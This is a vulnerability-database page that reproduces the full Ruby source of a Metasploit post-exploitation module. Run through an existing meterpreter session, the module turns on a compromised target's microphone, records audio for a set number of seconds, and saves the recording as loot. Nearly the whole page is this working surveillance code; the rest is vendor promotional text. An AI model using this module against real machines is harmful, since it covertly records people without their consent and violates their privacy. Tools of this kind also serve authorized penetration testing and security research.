Lucene search
K

Multi Manage Record Microphone

🗓️ 17 Jan 2013 18:19:52Reported by sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

Enable and record target's microphone, use Java meterpreter for non-Windows targets, duration limited to 5 second

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Manage Record Microphone',
        'Description' => %q{
          This module will enable and record your target's microphone.
          For non-Windows targets, please use Java meterpreter to be
          able to use this feature.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'sinn3r'],
        'Platform' => %w[linux osx win],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_webcam_*
            ]
          }
        }
      )
    )

    register_options(
      [
        OptInt.new('DURATION', [false, 'Number of seconds to record', 5])
      ]
    )
  end

  def rhost
    client.sock.peerhost
  end

  def progress
    duration = datastore['DURATION']
    m = duration / 10
    m = 1 if m == 0

    duration.times do |i|
      if i % m == 0
        p = ((Float((i == 0) ? 1 : i + 1) / duration) * 100).round
        print_status("#{rhost} - #{p}%...")
      end
      select(nil, nil, nil, 1)
    end
  end

  def run
    if client.nil?
      print_error("Invalid session ID selected. Make sure the host isn't dead.")
      return
    end

    data = nil

    begin
      t = framework.threads.spawn('prog', false) { progress }
      data = client.webcam.record_mic(datastore['DURATION'])
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.message)
      return
    ensure
      t.kill
    end

    if data
      print_status("#{rhost} - Audio size: (#{data.length} bytes)")
      p = store_loot(
        "#{rhost}.audio",
        'application/octet-stream',
        rhost,
        data,
        "#{rhost}_audio.wav",
        "#{rhost} Audio Recording"
      )

      print_good("#{rhost} - Audio recording saved: #{p}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
7.2High risk
Vulners AI Score7.2
33